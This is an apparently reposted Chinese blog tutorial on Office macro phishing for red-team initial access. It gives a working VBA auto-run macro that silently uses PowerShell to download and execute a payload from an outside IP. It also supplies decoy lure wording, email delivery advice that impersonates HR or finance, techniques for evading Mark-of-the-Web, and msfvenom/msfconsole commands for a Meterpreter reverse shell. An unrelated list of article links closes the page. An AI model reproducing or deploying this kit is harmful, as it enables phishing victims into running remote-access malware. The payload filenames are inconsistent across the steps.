当前位置: 首页 > news >正文

Office宏病毒钓鱼-打点突破

Office宏钓鱼

[攻击路径] / [利用流程] - 详细步骤:制作一个简单的Word宏钓鱼文档

  1. 步骤一:规划恶意宏功能 (Payload Design)

    • 目的: 决定宏执行后要达成的目标。为教学演示,我们设定一个简单的目标:弹出一个消息框,然后尝试从指定URL下载一个文件(真实攻击中会是恶意文件)。
    • 关键技术/工具: VBA编程知识。
    • 为何如此操作: 清晰的目标有助于编写简洁有效的宏代码。
  2. 步骤二:编写VBA宏代码

    • 目的: 将规划好的功能用VBA语言实现。

    • 操作:

      VBA

      ' 自动在文档打开时执行的宏
      Sub AutoOpen()MyMacroLogic
      End SubSub Document_Open()MyMacroLogic
      End SubFunction MyMacroLogic()MsgBox "正在解密文档内容,请稍候...", vbInformation, "系统提示"Dim strURL As StringDim strFilePath As StringDim shellApp As ObjectstrURL = "http://192.168.1.133/shell.exe"' 如果你使用了其他端口,例如8000,则URL应为 "http://192.168.1.133:8000/shell.exe"strFilePath = "C:\Users\Public\Downloads\shell.exe" ' 可以自定义保存路径和文件名' PowerShell命令Dim cmd As Stringcmd = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _"""(New-Object System.Net.WebClient).DownloadFile('""" & strURL & """', '""" & strFilePath & """'); " & _"Start-Process '""" & strFilePath & """'"""' 使用WScript.Shell执行命令 (更隐蔽) 或 Shell 函数On Error Resume Next ' 忽略可能发生的错误,避免宏中断Set shellApp = CreateObject("WScript.Shell")shellApp.Run cmd, 0, False ' 0表示隐藏窗口,False表示不等待命令完成Set shellApp = NothingOn Error GoTo 0 ' 恢复错误处理' MsgBox "文档内容解密成功!文档内容已可查看,如果未能查看请重新下载重复步骤!!。", vbInformation, "系统提示"
      End Function
    • 为何如此操作: AutoOpen()Document_Open() 会在用户启用宏后自动执行。代码中包含了社工提示、文件下载和执行(通过PowerShell)的逻辑。使用WScript.ShellRun方法并设置窗口隐藏可以增加隐蔽性。

  3. 步骤三:创建并嵌入宏到Office文档 (以Word为例)

    • 目的: 将写好的VBA代码放入Word文档中。
    • 操作:
      1. 打开Microsoft Word,创建一个新文档。
      2. 按下 Alt + F11 打开VBA编辑器。
      3. 在VBA编辑器的项目浏览器中,找到你的文档项目(通常名为 Project (Document1))。
      4. 右键点击 ThisDocument(或在“插入”菜单选择“模块”来创建一个新模块,推荐后者以保持ThisDocument干净),选择“插入” -> “模块”。
      5. 双击新创建的模块(如 Module1)或者 ThisDocument,在右侧的代码窗口中粘贴上述VBA代码。
      6. 关闭VBA编辑器。
    • 为何如此操作: 这是将宏代码与特定文档关联的标准方法。
  4. 步骤四:设计文档诱饵内容与保存

    • 目的: 制作文档的表面内容,诱使用户启用宏。
    • 操作:
      1. 在Word文档的可见区域,输入欺骗性文字,例如:
        • 一张模糊的图片,上方写着:“文档受保护,请点击‘启用内容’查看高清版本。”
        • 提示:“此文档由新版本Office创建,为确保兼容性并正确显示所有图表,请点击‘启用编辑’或‘启用内容’。”
        • 模仿系统错误信息,暗示需要启用宏来修复。
      2. 保存文档:点击“文件” -> “另存为”。在“保存类型”中,选择 “Word启用宏的文档 (*.docm)”。如果用Excel,则选择 “Excel启用宏的工作簿 (*.xlsm)”。给文档取一个诱人的文件名,如 年度财务报告预览.docm
    • 为何如此操作: 文档内容是社会工程学的核心,文件名和保存类型直接影响宏能否被执行。
  5. 步骤五:投递文档

    • 目的: 将制作好的带宏文档发送给目标。
    • 操作: 通常通过电子邮件附件发送。邮件正文也需要配合进行社会工程学,如伪装成HR、财务、领导或合作伙伴发送的紧急/重要文件。
    • 为何如此操作: 这是最常见的投递方式。
  6. 步骤六:受害者交互与宏执行 (模拟)

    • 目的: 受害者打开文档并被诱导启用宏。
    • 操作(受害者视角模拟):
      1. 受害者收到邮件,下载并打开.docm文件。
      2. Word显示安全警告:“宏已被禁用。” 以及你精心设计的诱饵内容。
      3. 如果社工成功,受害者点击“启用内容”。
      4. 此时,AutoOpen()Document_Open() 中的VBA代码开始执行。
    • 为何如此操作: 用户的这个点击动作是宏能否执行的关键。
  7. 步骤七:验证宏执行结果 (在你的测试环境中)

    • 目的: 确认宏是否按预期执行。
    • 操作:
      1. 检查是否弹出了第一个消息框。
      2. 检查你的测试Web服务器是否有来自受害机的下载请求 (payload.exe)。
      3. 检查在受害机上 C:\Users\Public\Downloads\ 目录下是否成功下载了 downloaded_payload.exe,并且该文件是否被尝试执行。
      4. 检查是否弹出了第二个消息框。
    • 为何如此操作: 验证攻击流程的每一步是否成功。

重要:2025年宏安全现状与提醒

  • 默认禁用(并有更多额外操作): 请务必记住,对于从互联网下载的Office文档(即带有Mark-of-the-Web标记的文件),现代Office版本(Microsoft 365 Apps for enterprise/business, Office LTSC 2021, Office 2021, Office 2019, Office 2016)会默认阻止VBA宏的运行,并且“启用内容”按钮的行为会改变,不再轻易允许用户启用。用户需要手动解除文件锁定(文件属性 -> 安全性 -> 解除锁定)或将文件放入“受信任位置”才能运行宏。
  • 红队适应: 攻击者会尝试通过社工手段诱导用户执行这些额外步骤,或者将宏文档打包在加密的ZIP文件(密码在邮件中提供)或ISO/IMG镜像文件中,以期绕过MOTW标记或邮件网关的初步扫描。
  • 内部威胁: 如果宏文档是在内网生成或被认为是来自“受信任来源”,则宏的执行限制可能会较宽松。

Office宏构建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Sub test()MsgBox ("TTTTTTTTT")
End Sub

打开文件自动执行

Sub Document_Open()test
End Sub
Sub AutoOpen()test
End Sub
Sub test()MsgBox ("TTTTTTT")
End Sub
MSF生成与监听

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -f exe > payload.exe

msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.133
set LPORT 4444
run

相关文章:

  • 【嵌入式开发-LCD】
  • mac连接lniux服务器教学笔记
  • 代码随想录算法训练营第60期第三十天打卡
  • QT中的网络请求
  • 【软件设计师:软件工程】11.项目管理
  • V4L2应用程序开发-- 控制流程
  • 枚举 · 例13-【模板】双指针
  • 如何使用极狐GitLab 软件包仓库功能托管 terraform?
  • V 型球阀:多材质多驱动,精准适配复杂严苛工况-耀圣
  • 【UltralyticsYolo11图像分类完整项目-03】Onnx版Cpu预测C++实现
  • 解决word里插入公式后打不开的问题
  • Ubuntu 安装远程桌面连接RDP方式
  • Docker部署常见应用之Superset
  • 监控系统进阶方案:OpenObserve的Docker部署与远程访问配置指南
  • 【Git】【commit】查看未推送的提交查看指定commit的修改内容合并不连续的commit
  • 总线通信篇:I2C、SPI、CAN 的底层结构与多机通信设计
  • python3连接数据库工具类之Oracle
  • C++入门小馆 :多态
  • 第二章 Logback的架构(三)
  • Web 自动化之 HTML JavaScript 详解
  • 新村回响:一周城市生活
  • 美政府被曝下令加强对格陵兰岛间谍活动,丹麦将召见美代办
  • 李公明︱一周书记:浪漫主义为什么……仍然重要?
  • 著名国际关系理论家、“软实力”概念提出者约瑟夫•奈逝世
  • 杭温高铁、沪苏湖高铁明起推出定期票和计次票,不限车次执行优惠折扣
  • 央行行长:债券市场“科技板”准备工作基本就绪,目前近百家市场机构计划发行超三千亿科技创新债